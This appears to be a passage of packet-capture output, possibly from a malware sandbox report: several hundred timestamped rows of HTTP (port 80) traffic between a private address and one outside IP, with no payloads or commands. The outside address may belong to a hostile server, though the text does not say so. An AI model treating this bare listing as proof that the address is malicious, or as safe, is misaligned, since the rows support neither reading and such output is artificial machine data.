Apr 18, 2024 23:40:14.142501116 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142513037 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142515898 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142524958 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142539024 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142539978 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142554045 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142565966 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142569065 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142577887 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142587900 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142591953 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142601013 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142605066 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142617941 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142630100 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142630100 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142656088 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142668962 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143146038 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143198013 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143224955 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143238068 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143249989 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143263102 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143264055 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143275976 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143276930 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143289089 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143296003 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143302917 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143315077 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143315077 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143328905 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143342972 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143357992 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143385887 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143508911 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143521070 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143532038 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143543959 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143554926 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143563032 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143568039 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143579960 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143590927 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143593073 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143603086 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143605947 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143620968 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143620968 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143635035 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143646955 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143649101 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143659115 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143670082 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143676043 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143683910 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143692970 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143697977 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143708944 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143712044 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143724918 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143737078 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143738031 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143748045 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143760920 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143764019 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143774986 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143778086 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143786907 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143800020 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143805981 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143831968 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.143834114 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143848896 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.143874884 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144027948 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144041061 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144052029 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144062042 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144068003 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144073963 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144079924 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144087076 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144103050 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144109964 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144114971 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144126892 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144130945 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144143105 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144144058 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144156933 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144167900 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144171953 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144181967 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144193888 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144196987 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144206047 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144215107 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144217968 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144229889 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144231081 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144243002 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144253969 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144258976 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144267082 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144279003 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144287109 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144290924 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144299984 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144305944 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144319057 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144323111 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144339085 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144349098 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144351006 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144364119 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144376040 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144378901 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144387960 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144392014 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144402027 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144412994 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144423008 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144424915 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144438028 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144448996 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144450903 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144464016 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144464970 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144475937 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144489050 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144490957 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144501925 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144514084 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144517899 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144526005 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144532919 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144540071 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144551039 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144560099 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144563913 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144577026 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144586086 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144589901 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144603014 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144604921 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144614935 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144627094 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144628048 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144639969 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144651890 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144655943 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144664049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144682884 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144686937 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144686937 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144689083 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144700050 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144714117 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144716024 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144726038 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144738913 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144745111 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144752026 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144761086 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144763947 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144776106 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144777060 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144789934 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144802094 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144803047 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144813061 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144826889 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144829035 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144839048 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144843102 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144853115 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144866943 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144875050 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144881010 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144891977 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144898891 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144903898 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144916058 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144916058 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144928932 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144933939 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144942045 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144953012 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144958973 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144967079 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144978046 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.144984961 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.144996881 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.145001888 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.145009041 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.145014048 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.145023108 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.145042896 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.145066977 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389323950 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389344931 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389358997 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389369965 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389400959 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389427900 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389440060 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389458895 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389470100 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389486074 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389488935 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389498949 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389513016 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389518023 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389529943 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389542103 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389550924 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389555931 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389563084 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389585972 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389586926 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389596939 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389602900 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389614105 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389617920 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389631033 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389632940 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389642954 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389650106 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389656067 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389667988 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389676094 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389679909 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389693022 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389703035 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389705896 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389719009 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389719963 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389738083 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389761925 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.389946938 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389959097 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389970064 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389990091 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.389992952 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390001059 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390007019 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390014887 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390028000 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390032053 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390041113 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390048981 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390053034 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390064001 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390068054 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390073061 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390075922 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390078068 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390079975 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390081882 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390094995 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390100956 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390108109 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390115976 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390125036 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390129089 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390142918 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390149117 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390155077 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390165091 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390167952 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390181065 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390182018 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390193939 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390197039 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390206099 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390218973 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390223026 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390232086 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390242100 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390244007 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390256882 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390259027 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390269041 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390275002 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390281916 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390292883 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390297890 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390305996 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390317917 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390321016 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390331984 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390345097 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390357018 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390367031 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390367031 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390368938 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390379906 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390383959 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390397072 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390408039 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390409946 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390419006 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390431881 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390444040 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390444040 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390458107 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390458107 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390470028 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390475988 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390484095 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390495062 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390496969 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390507936 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390521049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390530109 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390533924 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390543938 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390547991 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390563011 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390571117 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390577078 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390587091 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390594006 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390599012 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390609980 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390619993 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390624046 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390635967 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390647888 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390654087 CEST	49746	80	192.168.2.4	193.233.132.167
